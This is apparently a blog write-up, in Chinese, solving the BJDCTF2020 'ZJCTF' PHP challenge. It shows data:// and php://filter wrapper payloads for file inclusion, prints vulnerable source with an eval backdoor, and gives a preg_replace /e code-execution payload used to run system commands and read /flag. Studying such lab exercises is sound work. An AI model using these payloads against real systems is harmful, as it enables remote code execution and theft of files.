[BJDCTF2020]ZJCTF,不過如此 1

TazmiDev發表於2024-11-24

[BJDCTF2020]ZJCTF,不過如此 1

開啟例項發現程式碼審計

image-20241124093348482

需要GET傳入text和file引數,然後執行檔案包含

text需要讀取到I have a dream文字,這邊採用data流進行繞過

?text=data://,I have a dream&file=next.php

image-20241124101339063

成功繞過,接下來進行file檔案包含

這邊提示讀取next.php,訪問後無有效資料後,採用php為協議進行讀取

?text=data://,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

image-20241124101514036

base64解碼後獲取到next.php原始碼

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
function getFlag(){
	@eval($_GET['cmd']);
}

image-20241124101624741

再次程式碼審計

分析後注意到preg_replace()+/e,百度可知preg_replace()+/e存在程式碼執行漏洞,poc為:?\S*=${ 程式碼執行位置 }

嘗試構建 phpinfo() poc

?\S*=${phpinfo()}

image-20241124104034770

成功顯示phpinfo頁面

因為上面base64解碼後存在php的一個eval程式碼執行

function getFlag(){
	@eval($_GET['cmd']);
}

採用\S*呼叫getFlag()函式,然後get請求cmd引數執行任意命令

構建poc

?\S*=${getFlag()}&cmd=system("ls");

image-20241124104846126

未發現flag

ls一下根目錄

?\S*=${getFlag()}&cmd=system("ls / -a");

image-20241124105041270

發現flag,讀取他它

?\S*=${getFlag()}&cmd=system("cat /flag");

image-20241124105122967

成功獲得flag

flag{804d2f52-b857-4cf2-ad25-fe95a67c9470}

相關文章